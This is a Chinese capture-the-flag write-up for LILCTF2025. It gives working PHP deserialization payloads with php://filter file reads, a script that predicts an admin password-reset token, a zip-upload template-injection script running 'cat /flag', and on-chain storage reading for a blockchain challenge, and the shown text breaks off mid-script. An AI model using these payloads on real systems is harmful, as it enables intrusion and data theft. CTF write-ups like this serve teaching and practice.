LILCTF2025 WriteUp

lzz0403

队伍

在那年的夏日等你

信息

分数: 1543 排名: 49

WEB

Your Uns3r

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
highlight_file(__FILE__);
class User
{
public $username;
public $value;
public function exec()
{
$ser = unserialize(serialize(unserialize($this->value)));
if ($ser != $this->value && $ser instanceof Access) {
include($ser->getToken());
}
}
public function __destruct()
{
if ($this->username == "admin") {
$this->exec();
}
}
}

class Access
{
protected $prefix;
protected $suffix;

public function getToken()
{
if (!is_string($this->prefix) || !is_string($this->suffix)) {
throw new Exception("Go to HELL!");
}
$result = $this->prefix . 'lilctf' . $this->suffix;
if (strpos($result, 'pearcmd') !== false) {
throw new Exception("Can I have peachcmd?");
}
return $result;

}
}

$ser = $_POST["user"];
if (strpos($ser, 'admin') !== false && strpos($ser, 'Access":') !== false) {
exit ("no way!!!!");
}

$user = unserialize($ser);
throw new Exception("nonono!!!");

整体逻辑就是用user反序列化后激活__destruct后一步步利用,最后控制result内容用include读flag

这里有两点要注意的,第一个就是throw new Exception("nonono!!!"); 第二个就是$this->username == "admin" 弱等于判断

浅析PHP GC垃圾回收机制及常见利用方式-先知社区

一开始把throw天真的注释了,打本地发现怎么都可以,但是一加上throw就不行了 :(

这里就要用到这个回收机制,但是根据这个回收机制,对于PHP5.6.40似乎好像不适用,他的例子a:2:{i:0;O:1:"B":0:{}i:0;i:0;}

这里再5.6.40复现不行,解决方法是数组长度+1就可以绕过a:3:{i:0;O:1:"B":0:{}i:0;i:0;}

然后这里限制preacmd导致我研究了半天,后面发现根本不用pearcmd进行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

class User {
public $username = 0;
public $value;
}

class Access {
protected $prefix = "";
protected $suffix = "";
}

$user = array(new User(),0);
$user->value = serialize(new Access());

$payload = serialize($user);

echo $payload;
?>

Value是N,我打算后面的补上

这里protected在序列化后*两边的%00显示不出来,后面需要自己补齐

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class User
{
public $username = 0;
public $value;
}

class Access
{
protected $prefix = "php://filter/read=convert.base64-encode/resource=/";
protected $suffix = "/../../../../etc/passwd";
}

$access = new Access();
$user = new User();

$user->value = array($access);
$user->value[0] = $access;

$user->value = serialize($access);

echo serialize($user);
?>

这里生成的value放到上面的exp输出的序列化中

1
2
3
a:2:{i:0;O:4:"User":2:{s:8:"username";i:0;s:5:"value";N;}i:1;i:0;}

O:4:"User":2:{s:8:"username";i:0;s:5:"value";s:138:"O:6:"Access":2:{s:9:"%00*%00prefix";s:50:"php://filter/read=convert.base64-encode/resource=/";s:9:"%00*%00suffix";s:23:"/../../../../etc/passwd";}";}
1
2
3
4
最终payload
a:3:{i:0;O:4:"User":2:{s:8:"username";i:0;s:5:"value";s:138:"O:6:"Access":2:{s:9:"%00*%00prefix";s:50:"php://filter/read=convert.base64-encode/resource=/";s:9:"%00*%00suffix";s:23:"/../../../../etc/passwd";}";}i:1;i:0;}

a:3:{i:0;O:4:"User":2:{s:8:"username";i:0;s:5:"value";s:138:"O:6:"Access":2:{s:9:"%00*%00prefix";s:50:"php://filter/read=convert.base64-encode/resource=/";s:9:"%00*%00suffix";s:23:"/../../../../flag";}";}i:1;i:0;}

Ekko_note

经过一番折腾发现python3.14有uuid v8 ,然后解铃还须系铃人,lamxu的uuidv8看了一下,copy一下写一个exp就行

1
2
3
4
5
6
7
SERVER_START_TIME = time.time()


# 欸我艹这两行代码测试用的忘记删了,欸算了都发布了,我们都在用力地活着,跟我的下班说去吧。
# 反正整个程序没有一个地方用到random库。应该没有什么问题。
import random
random.seed(SERVER_START_TIME)

这里给了serverstarttime,还有一个路由可以获取starttime,这里种子固定

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@app.route('/execute_command', methods=['GET', 'POST'])
@login_required
def execute_command():
result = check_time_api()
if result is None:
flash("API死了啦,都你害的啦。", "danger")
return redirect(url_for('dashboard'))

if not result:
flash('2066年才完工哈,你可以穿越到2066年看看', 'danger')
return redirect(url_for('dashboard'))

if request.method == 'POST':
command = request.form.get('command')
os.system(command) # 什么?你说安全?不是,都说了还没完工催什么。
return redirect(url_for('execute_command'))

return render_template('execute_command.html')

我们发现这里需要admin执行command

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
@app.route('/forgot_password', methods=['GET', 'POST'])
def forgot_password():
if request.method == 'POST':
email = request.form.get('email')
user = User.query.filter_by(email=email).first()
if user:
# 选哪个UUID版本好呢,好头疼 >_<
# UUID v8吧,看起来版本比较新
token = str(uuid.uuid8(a=padding(user.username))) # 可以自定义参数吗原来,那把username放进去吧
reset_token = PasswordResetToken(user_id=user.id, token=token)
db.session.add(reset_token)
db.session.commit()
# TODO:写一个SMTP服务把token发出去
flash(f'密码恢复token已经发送,请检查你的邮箱', 'info')
return redirect(url_for('reset_password'))
else:
flash('没有找到该邮箱对应的注册账户', 'danger')
return redirect(url_for('forgot_password'))

return render_template('forgot_password.html')

这里是唯一可以伪造admin获取其重置token来重置admin密码的,那么种子固定,预测uuid就很简单了

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import random
import uuid

server_start_time = 1755353339.975761

random.seed(server_start_time)

def padding(input_string):
byte_string = input_string.encode('utf-8')
if len(byte_string) > 6: byte_string = byte_string[:6]
padded_byte_string = byte_string.ljust(6, b'\x00')
padded_int = int.from_bytes(padded_byte_string, byteorder='big')
return padded_int

def uuid8():
a = padding('admin')
b = random.getrandbits(12)
c = random.getrandbits(62)

int_uuid_8 = (a & 0xffff_ffff_ffff) << 80
int_uuid_8 |= (b & 0xfff) << 64
int_uuid_8 |= c & 0x3fff_ffff_ffff_ffff
_RFC_4122_VERSION_8_FLAGS = ((8 << 76) | (0x8000 << 48))
int_uuid_8 |= _RFC_4122_VERSION_8_FLAGS

return uuid.UUID(int=int_uuid_8)


admin_token = str(uuid8())

print(admin_token)

ez_bottle

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
import requests
import zipfile
import os
import re
import time

#URL
TARGET_URL = "http://challenge.xinshi.fun:46222"


def create_evil_zip(i, url):
os.makedirs("tmp", exist_ok=True)

with open("tmp/a.tpl", "w") as f:
f.write("% include('./uploads/" + url + "', title='Page Title')")
print("% include('./uploads/" + url + "', title='Page Title')")

with open("tmp/exploit.tpl", "w") as f:
f.write(
"""{{''.__class__.__bases__[0].__subclasses__()[""" + str(i) + """].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag").read()')}}""")
print("""{{''.__class__.__bases__[0].__subclasses__()[""" + str(i) + """].__init__.__globals__['popen']('ls /').read()}}""")
# f.write("% result = os.popen('cat /flag').read()\n")
# f.write("% print(result)")

with zipfile.ZipFile("exploit.zip", "w") as z:
z.write("tmp/exploit.tpl", "exploit.tpl")
z.write("tmp/a.tpl", "a.tpl")

return "exploit.zip"


def upload_zip(zip_path):
url = f"{TARGET_URL}/upload"
with open(zip_path, "rb") as f:
files = {"file": (os.path.basename(zip_path), f)}
response = requests.post(url, files=files)
return response.text


def extract_view_url(response_text):
print(response_text)
pattern = r"访问: /view/([a-f0-9]{32})/([^\s]+)"
match = re.search(pattern, response_text)
if match:
md5_hash = match.group(1)
filename = 'a.tpl'
return f"/view/{md5_hash}/{filename}", f"{md5_hash}/exploit.tpl"
return None


def get_flag(view_url):
url = f"{TARGET_URL}{view_url}"
response = requests.get(url)
request = response.request
print(request.method)
print(request.url)
print(request.headers)
print(request.body)
return response.text


if __name__ == "__main__":
last_url = "58aab835965b994b92c397a94a600a03/exploit.tpl"
for i in range(115,118):
# i=77
print("-------------------------------------------------------\n")
print("[*] Creating malicious ZIP file...")
zip_file = create_evil_zip(i, last_url)

print("[*] Uploading ZIP file to server...")
response = upload_zip(zip_file)
# print(f"[DEBUG] Server response:\n{response}")

print("[*] Extracting file view URL...")
view_url, last_url = extract_view_url(response)

if not view_url:
print("[-] Failed to extract view URL")
print(f"Response: {response}")
exit(1)

print(f"[+] Found view URL: {view_url}")

print("[*] Requesting file to trigger exploit...")
flag = get_flag(view_url)

os.remove(zip_file)

print("\n[+] Exploit completed!")
print(f"\n[FLAG] {flag}")
print("-------------------------------------------------------\n")
print()
print()
print()


BlockChain

lilctf 生蚝的宝藏

题目没有给源码,而是自己建造了一个rpc,部署合约交互
先获取构造交易的字节码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 from web3 import Web3


RPC_URL = "http://106.15.138.99:8545/"

CONTRACT = "0x9F18c518FF34Ab2213eCcFDaeA0E36662B5DE09E"

TX_HASH = "0x327ede005e204582db641d26bbefe55f0f790c65fc2a78de7a19007e36063061"


w3 = Web3(Web3.HTTPProvider(RPC_URL))



tx = w3.eth.get_transaction(TX_HASH)

r = w3.to_json(tx)
print(r)

//

1
{"blockHash": "0xba8a0dd04e0871fed04bfe5b843197a499b05882c8d54aa22ea3fb11b943995c", "blockNumber": 9725, "from": "0xa7A18b63f52fEE6113358EAd8171049D9A4316b1", "gas": 397106, "gasPrice": 1000000007, "hash": "0x327ede005e204582db641d26bbefe55f0f790c65fc2a78de7a19007e36063061", "input": "0x608060405234801561001057600080fd5b506040516107f03803806107f083398101604081905261002f9161021d565b6100388161005d565b805161004c9160009160209091019061016e565b50506001805460ff19169055610388565b60408051808201909152600c81526b35b2bcaf9a9b9a1c19199ab360a11b6020820152815160609183916000906001600160401b038111156100a1576100a1610207565b6040519080825280601f01601f1916602001820160405280156100cb576020820181803683370190505b50905060005b835181101561016557828351826100e891906102ec565b815181106100f8576100f861030e565b602001015160f81c60f81b60f81c8482815181106101185761011861030e565b602001015160f81c60f81b60f81c1860f81b82828151811061013c5761013c61030e565b60200101906001600160f81b031916908160001a9053508061015d81610324565b9150506100d1565b50949350505050565b82805461017a9061034d565b90600052602060002090601f01602090048101928261019c57600085556101e2565b82601f106101b557805160ff19168380011785556101e2565b828001600101855582156101e2579182015b828111156101e25782518255916020019190600101906101c7565b506101ee9291506101f2565b5090565b5b808211156101ee57600081556001016101f3565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561023057600080fd5b82516001600160401b038082111561024757600080fd5b818501915085601f83011261025b57600080fd5b81518181111561026d5761026d610207565b604051601f8201601f19908116603f0116810190838211818310171561029557610295610207565b8160405282815288868487010111156102ad57600080fd5b600093505b828410156102cf57848401860151818501870152928501926102b2565b828411156102e05760008684830101525b98975050505050505050565b60008261030957634e487b7160e01b600052601260045260246000fd5b500690565b634e487b7160e01b600052603260045260246000fd5b600060001982141561034657634e487b7160e01b600052601160045260246000fd5b5060010190565b600181811c9082168061036157607f821691505b6020821081141561038257634e487b7160e01b600052602260045260246000fd5b50919050565b610459806103976000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c80635cc4d8121461003b57806364d98f6e14610050575b600080fd5b61004e61004936600461023a565b61006a565b005b60015460ff16604051901515815260200160405180910390f35b61007381610112565b60405160200161008391906102eb565b6040516020818303038152906040528051906020012060006040516020016100ab9190610326565b60405160208183030381529060405280519060200120146101035760405162461bcd60e51b815260206004820152600e60248201526d57726f6e6720547265617375726560901b604482015260640160405180910390fd5b506001805460ff191681179055565b60408051808201909152600c81526b35b2bcaf9a9b9a1c19199ab360a11b60208201528151606091839160009067ffffffffffffffff81111561015757610157610224565b6040519080825280601f01601f191660200182016040528015610181576020820181803683370190505b50905060005b835181101561021b578283518261019e91906103c2565b815181106101ae576101ae6103e4565b602001015160f81c60f81b60f81c8482815181106101ce576101ce6103e4565b602001015160f81c60f81b60f81c1860f81b8282815181106101f2576101f26103e4565b60200101906001600160f81b031916908160001a90535080610213816103fa565b915050610187565b50949350505050565b634e487b7160e01b600052604160045260246000fd5b60006020828403121561024c57600080fd5b813567ffffffffffffffff8082111561026457600080fd5b818401915084601f83011261027857600080fd5b81358181111561028a5761028a610224565b604051601f8201601f19908116603f011681019083821181831017156102b2576102b2610224565b816040528281528760208487010111156102cb57600080fd5b826020860160208301376000928101602001929092525095945050505050565b6000825160005b8181101561030c57602081860181015185830152016102f2565b8181111561031b576000828501525b509190910192915050565b600080835481600182811c91508083168061034257607f831692505b602080841082141561036257634e487b7160e01b86526022600452602486fd5b8180156103765760018114610387576103b4565b60ff198616895284890196506103b4565b60008a81526020902060005b868110156103ac5781548b820152908501908301610393565b505084890196505b509498975050505050505050565b6000826103df57634e487b7160e01b600052601260045260246000fd5b500690565b634e487b7160e01b600052603260045260246000fd5b600060001982141561041c57634e487b7160e01b600052601160045260246000fd5b506001019056fea2646970667358221220d5c875e6de4319072b595bdd2382e9d4da7081fe0f1e58eb39dad3b70117693e64736f6c634300080900330000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002e33333334333534383333343934633566353534653634343535323566333734383333356635333333343033663764000000000000000000000000000000000000", "nonce": 0, "to": null, "transactionIndex": 0, "value": 0, "type": 0, "chainId": 21348, "v": 42731, "r": "0xaf22cddb94a9335042245e7d642e6f8b0db30a85d599a3c6ba2ff30187643ff8", "s": "0x638aa8384bc6cbcdf1954a48c825dc01b5723c2bbae672540f0753bb429bf1b7"}

然后去Online Solidity Decompiler反编译

拿到反编译代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
contract Contract {
function main() {
memory[0x40:0x60] = 0x80;
var var0 = msg.value;

if (var0) { revert(memory[0x00:0x00]); }

if (msg.data.length < 0x04) { revert(memory[0x00:0x00]); }

var0 = msg.data[0x00:0x20] >> 0xe0;

if (var0 == 0x5cc4d812) {
// Dispatch table entry for 0x5cc4d812 (unknown)
var var1 = 0x004e;
var var2 = 0x0049;
var var3 = msg.data.length;
var var4 = 0x04;
var2 = func_023A(var3, var4);
func_0049(var2);
stop();
} else if (var0 == 0x64d98f6e) {
// Dispatch table entry for isSolved()
var temp0 = memory[0x40:0x60];
memory[temp0:temp0 + 0x20] = !!(storage[0x01] & 0xff);
var temp1 = memory[0x40:0x60];
return memory[temp1:temp1 + (temp0 + 0x20) - temp1];
} else { revert(memory[0x00:0x00]); }
}

function func_0049(var arg0) {
var var0 = 0x0073;
var var1 = arg0;
var0 = func_0112(var1);
var temp0 = var0;
var0 = 0x0083;
var var2 = memory[0x40:0x60] + 0x20;
var1 = temp0;
var0 = func_02EB(var1, var2);
var temp1 = memory[0x40:0x60];
var temp2 = var0;
memory[temp1:temp1 + 0x20] = temp2 - temp1 - 0x20;
memory[0x40:0x60] = temp2;
var0 = keccak256(memory[temp1 + 0x20:temp1 + 0x20 + memory[temp1:temp1 + 0x20]]);
var1 = 0x00ab;
var var3 = memory[0x40:0x60] + 0x20;
var2 = 0x00;
var1 = func_0326(var2, var3);
var temp3 = memory[0x40:0x60];
var temp4 = var1;
memory[temp3:temp3 + 0x20] = temp4 - temp3 - 0x20;
memory[0x40:0x60] = temp4;

if (keccak256(memory[temp3 + 0x20:temp3 + 0x20 + memory[temp3:temp3 + 0x20]]) == var0) {
storage[0x01] = (storage[0x01] & ~0xff) | 0x01;
return;
} else {
var temp5 = memory[0x40:0x60];
memory[temp5:temp5 + 0x20] = 0x461bcd << 0xe5;
memory[temp5 + 0x04:temp5 + 0x04 + 0x20] = 0x20;
memory[temp5 + 0x24:temp5 + 0x24 + 0x20] = 0x0e;
memory[temp5 + 0x44:temp5 + 0x44 + 0x20] = 0x57726f6e67205472656173757265 << 0x90;
var temp6 = memory[0x40:0x60];
revert(memory[temp6:temp6 + (temp5 + 0x64) - temp6]);
}
}

function func_0112(var arg0) returns (var r0) {
var temp0 = memory[0x40:0x60];
memory[0x40:0x60] = temp0 + 0x40;
memory[temp0:temp0 + 0x20] = 0x0c;
memory[temp0 + 0x20:temp0 + 0x20 + 0x20] = 0x35b2bcaf9a9b9a1c19199ab3 << 0xa1;
var var2 = temp0;
var var0 = 0x60;
var var1 = arg0;
var var4 = memory[var1:var1 + 0x20];
var var3 = 0x00;

if (var4 <= 0xffffffffffffffff) {
var temp1 = memory[0x40:0x60];
var temp2 = var4;
var var5 = temp2;
var4 = temp1;
memory[var4:var4 + 0x20] = var5;
memory[0x40:0x60] = var4 + (var5 + 0x1f & ~0x1f) + 0x20;

if (!var5) {
var3 = var4;
var4 = 0x00;

if (var4 >= memory[var1:var1 + 0x20]) {
label_021B:
return var3;
} else {
label_0191:
var5 = var2;
var var6 = 0x019e;
var var7 = memory[var5:var5 + 0x20];
var var8 = var4;
var6 = func_03C2(var7, var8);

if (var6 < memory[var5:var5 + 0x20]) {
var5 = ((memory[var6 + 0x20 + var5:var6 + 0x20 + var5 + 0x20] >> 0xf8) << 0xf8) >> 0xf8;
var6 = var1;
var7 = var4;

if (var7 < memory[var6:var6 + 0x20]) {
var5 = ((((memory[var7 + 0x20 + var6:var7 + 0x20 + var6 + 0x20] >> 0xf8) << 0xf8) >> 0xf8) ~ var5) << 0xf8;
var6 = var3;
var7 = var4;

if (var7 < memory[var6:var6 + 0x20]) {
memory[var7 + 0x20 + var6:var7 + 0x20 + var6 + 0x01] = byte(var5 & ~((0x01 << 0xf8) - 0x01), 0x00);
var5 = var4;
var6 = 0x0213;
var7 = var5;
var6 = func_03FA(var7);
var4 = var6;

if (var4 >= memory[var1:var1 + 0x20]) { goto label_021B; }
else { goto label_0191; }
} else {
var8 = 0x01f2;

label_03E4:
memory[0x00:0x20] = 0x4e487b71 << 0xe0;
memory[0x04:0x24] = 0x32;
revert(memory[0x00:0x24]);
}
} else {
var8 = 0x01ce;
goto label_03E4;
}
} else {
var7 = 0x01ae;
goto label_03E4;
}
}
} else {
var temp3 = var5;
memory[var4 + 0x20:var4 + 0x20 + temp3] = msg.data[msg.data.length:msg.data.length + temp3];
var3 = var4;
var4 = 0x00;

if (var4 >= memory[var1:var1 + 0x20]) { goto label_021B; }
else { goto label_0191; }
}
} else {
var5 = 0x0157;
memory[0x00:0x20] = 0x4e487b71 << 0xe0;
memory[0x04:0x24] = 0x41;
revert(memory[0x00:0x24]);
}
}

function func_023A(var arg0, var arg1) returns (var r0) {
var var0 = 0x00;

if (arg0 - arg1 i< 0x20) { revert(memory[0x00:0x00]); }

var var1 = msg.data[arg1:arg1 + 0x20];
var var2 = 0xffffffffffffffff;

if (var1 > var2) { revert(memory[0x00:0x00]); }

var temp0 = arg1 + var1;
var1 = temp0;

if (var1 + 0x1f i>= arg0) { revert(memory[0x00:0x00]); }

var var3 = msg.data[var1:var1 + 0x20];

if (var3 <= var2) {
var temp1 = memory[0x40:0x60];
var temp2 = ~0x1f;
var temp3 = temp1 + ((temp2 & var3 + 0x1f) + 0x3f & temp2);
var var4 = temp3;
var var5 = temp1;

if (!((var4 < var5) | (var4 > var2))) {
memory[0x40:0x60] = var4;
var temp4 = var3;
memory[var5:var5 + 0x20] = temp4;

if (var1 + temp4 + 0x20 > arg0) { revert(memory[0x00:0x00]); }

var temp5 = var3;
var temp6 = var5;
memory[temp6 + 0x20:temp6 + 0x20 + temp5] = msg.data[var1 + 0x20:var1 + 0x20 + temp5];
memory[temp6 + temp5 + 0x20:temp6 + temp5 + 0x20 + 0x20] = 0x00;
return temp6;
} else {
var var6 = 0x02b2;

label_0224:
memory[0x00:0x20] = 0x4e487b71 << 0xe0;
memory[0x04:0x24] = 0x41;
revert(memory[0x00:0x24]);
}
} else {
var4 = 0x028a;
goto label_0224;
}
}

function func_02EB(var arg0, var arg1) returns (var r0) {
var var0 = 0x00;
var var1 = memory[arg0:arg0 + 0x20];
var var2 = 0x00;

if (var2 >= var1) {
label_030C:

if (var2 <= var1) { return var1 + arg1; }

var temp0 = var1;
var temp1 = arg1;
memory[temp1 + temp0:temp1 + temp0 + 0x20] = 0x00;
return temp0 + temp1;
} else {
label_02FB:
var temp2 = var2;
memory[temp2 + arg1:temp2 + arg1 + 0x20] = memory[arg0 + temp2 + 0x20:arg0 + temp2 + 0x20 + 0x20];
var2 = temp2 + 0x20;

if (var2 >= var1) { goto label_030C; }
else { goto label_02FB; }
}
}

function func_0326(var arg0, var arg1) returns (var r0) {
var var0 = 0x00;
var var1 = var0;
var temp0 = storage[arg0];
var var2 = temp0;
var var4 = 0x01;
var var3 = var2 >> var4;
var var5 = var2 & var4;

if (var5) {
var var6 = 0x20;

if (var5 != (var3 < var6)) {
label_0362:
var var7 = var5;

if (!var7) {
var temp1 = arg1;
memory[temp1:temp1 + 0x20] = var2 & ~0xff;
var1 = temp1 + var3;

label_03B4:
return var1;
} else if (var7 == 0x01) {
memory[0x00:0x20] = arg0;
var var8 = keccak256(memory[0x00:0x20]);
var var9 = 0x00;

if (var9 >= var3) {
label_03AC:
var1 = arg1 + var3;
goto label_03B4;
} else {
label_039C:
var temp2 = var8;
var temp3 = var9;
memory[temp3 + arg1:temp3 + arg1 + 0x20] = storage[temp2];
var8 = var4 + temp2;
var9 = var6 + temp3;

if (var9 >= var3) { goto label_03AC; }
else { goto label_039C; }
}
} else { goto label_03B4; }
} else {
label_034F:
var temp4 = var1;
memory[temp4:temp4 + 0x20] = 0x4e487b71 << 0xe0;
memory[0x04:0x24] = 0x22;
revert(memory[temp4:temp4 + 0x24]);
}
} else {
var temp5 = var3 & 0x7f;
var3 = temp5;
var6 = 0x20;

if (var5 != (var3 < var6)) { goto label_0362; }
else { goto label_034F; }
}
}

function func_03C2(var arg0, var arg1) returns (var r0) {
var var0 = 0x00;

if (arg0) { return arg1 % arg0; }

memory[0x00:0x20] = 0x4e487b71 << 0xe0;
memory[0x04:0x24] = 0x12;
revert(memory[0x00:0x24]);
}

function func_03FA(var arg0) returns (var r0) {
var var0 = 0x00;

if (arg0 != ~0x00) { return arg0 + 0x01; }

memory[0x00:0x20] = 0x4e487b71 << 0xe0;
memory[0x04:0x24] = 0x11;
revert(memory[0x00:0x24]);
}
}

从主函数可以看到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function main() {
memory[0x40:0x60] = 0x80;
var var0 = msg.value;

if (var0) { revert(memory[0x00:0x00]); }

if (msg.data.length < 0x04) { revert(memory[0x00:0x00]); }

var0 = msg.data[0x00:0x20] >> 0xe0;

if (var0 == 0x5cc4d812) {
// Dispatch table entry for 0x5cc4d812 (unknown)
var var1 = 0x004e;
var var2 = 0x0049;
var var3 = msg.data.length;
var var4 = 0x04;
var2 = func_023A(var3, var4);
func_0049(var2);
stop();
} else if (var0 == 0x64d98f6e) {
// Dispatch table entry for isSolved()
var temp0 = memory[0x40:0x60];
memory[temp0:temp0 + 0x20] = !!(storage[0x01] & 0xff);
var temp1 = memory[0x40:0x60];
return memory[temp1:temp1 + (temp0 + 0x20) - temp1];
} else { revert(memory[0x00:0x00]); }
}

1.不接受转账
2.输入数据要大于4字节
两个函数分发,0x5cc4d812的unknown函数就是验证函数,0x64d98f6e就是isSolved函数

然后查看验证函数逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
function func_0049(var arg0) {
var var0 = 0x0073;
var var1 = arg0;
var0 = func_0112(var1);
var temp0 = var0;
var0 = 0x0083;
var var2 = memory[0x40:0x60] + 0x20;
var1 = temp0;
var0 = func_02EB(var1, var2);
var temp1 = memory[0x40:0x60];
var temp2 = var0;
memory[temp1:temp1 + 0x20] = temp2 - temp1 - 0x20;
memory[0x40:0x60] = temp2;
var0 = keccak256(memory[temp1 + 0x20:temp1 + 0x20 + memory[temp1:temp1 + 0x20]]);
var1 = 0x00ab;
var var3 = memory[0x40:0x60] + 0x20;
var2 = 0x00;
var1 = func_0326(var2, var3);
var temp3 = memory[0x40:0x60];
var temp4 = var1;
memory[temp3:temp3 + 0x20] = temp4 - temp3 - 0x20;
memory[0x40:0x60] = temp4;

if (keccak256(memory[temp3 + 0x20:temp3 + 0x20 + memory[temp3:temp3 + 0x20]]) == var0) {
storage[0x01] = (storage[0x01] & ~0xff) | 0x01;
return;
} else {
var temp5 = memory[0x40:0x60];
memory[temp5:temp5 + 0x20] = 0x461bcd << 0xe5;
memory[temp5 + 0x04:temp5 + 0x04 + 0x20] = 0x20;
memory[temp5 + 0x24:temp5 + 0x24 + 0x20] = 0x0e;
memory[temp5 + 0x44:temp5 + 0x44 + 0x20] = 0x57726f6e67205472656173757265 << 0x90;
var temp6 = memory[0x40:0x60];
revert(memory[temp6:temp6 + (temp5 + 0x64) - temp6]);
}
}

1.先用func_0112(var1)对输入数据进行解码
2.然后进行keccak256哈希=>var0
3.调用func_0326提取treasure
4.计算treasure的哈希是否等于var0

所以,我们的目标就很明确了,找到treasure,按它的算法逆向,就可以找到需要的输入数据

来看func_0326

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
function func_0326(var arg0, var arg1) returns (var r0) {
var var0 = 0x00;
var var1 = var0;
var temp0 = storage[arg0];
var var2 = temp0;
var var4 = 0x01;
var var3 = var2 >> var4;
var var5 = var2 & var4;

if (var5) {
var var6 = 0x20;

if (var5 != (var3 < var6)) {
label_0362:
var var7 = var5;

if (!var7) {
var temp1 = arg1;
memory[temp1:temp1 + 0x20] = var2 & ~0xff;
var1 = temp1 + var3;

label_03B4:
return var1;
} else if (var7 == 0x01) {
memory[0x00:0x20] = arg0;
var var8 = keccak256(memory[0x00:0x20]);
var var9 = 0x00;

if (var9 >= var3) {
label_03AC:
var1 = arg1 + var3;
goto label_03B4;
} else {
label_039C:
var temp2 = var8;
var temp3 = var9;
memory[temp3 + arg1:temp3 + arg1 + 0x20] = storage[temp2];
var8 = var4 + temp2;
var9 = var6 + temp3;

if (var9 >= var3) { goto label_03AC; }
else { goto label_039C; }
}
} else { goto label_03B4; }
} else {
label_034F:
var temp4 = var1;
memory[temp4:temp4 + 0x20] = 0x4e487b71 << 0xe0;
memory[0x04:0x24] = 0x22;
revert(memory[temp4:temp4 + 0x24]);
}
} else {
var temp5 = var3 & 0x7f;
var3 = temp5;
var6 = 0x20;

if (var5 != (var3 < var6)) { goto label_0362; }
else { goto label_034F; }
}
}

好难看,让ai美化一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
function readFromStorage(uint256 slot, uint256 memPtr) pure returns (uint256 endPtr) {

    bytes32 data = storage[slot];

    bool isLong = (uint8(data) & 0x01) == 1;

    uint256 length = uint256(data) >> 1;


    if (isLong) {

        // 长格式:从 keccak256(slot) 开始读

        uint256 startSlot = uint256(keccak256(abi.encode(slot)));

        for (uint256 i = 0; i < length; i += 32) {

            bytes32 chunk = storage[startSlot + i/32];

            assembly {

                mstore(add(memPtr, i), chunk)

            }

        }

    } else {

        // 短格式:数据在高字节

        assembly {

            mstore(memPtr, and(data, not(0xff)))

        }

    }

    return memPtr + length;

}

所以是将数据分成两种形式存储,长和短,标志是最后一位是否为1
短格式:数据在高字节
长格式:从 keccak256(slot) 开始读
我们先获取一下storage slot

1
2
3
4
5
6
7
8
9
10
11
12
13
from web3 import Web3

RPC_URL = "http://106.15.138.99:8545/"

CONTRACT = "0x9F18c518FF34Ab2213eCcFDaeA0E36662B5DE09E"

w3 = Web3(Web3.HTTPProvider(RPC_URL))
val0 = w3.eth.get_storage_at(CONTRACT, 0)
val1 = w3.eth.get_storage_at(CONTRACT, 1)
print(val0.hex())
print(val1.hex())

# 0x000000000000000000000000000000000000000000000000000000000000005d

只有一个
5d=1011101
所以是长数据,并且长度为(5d-1)/2=46(5d >> 1)
存储和临时存储中状态变量的布局 — Solidity 0.8.31 文档 — Layout of State Variables in Storage and Transient Storage — Solidity 0.8.31 documentation
并且实际存储位置为
keccak256(uint256(0))
也就是

1
w3.keccak(hexstr="0x"+"0"*64).hex()

又因为一个存储槽最大32位
所以可以通过以下代码获取treasure

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from web3 import Web3

rpc_url = "http://106.15.138.99:8545/"
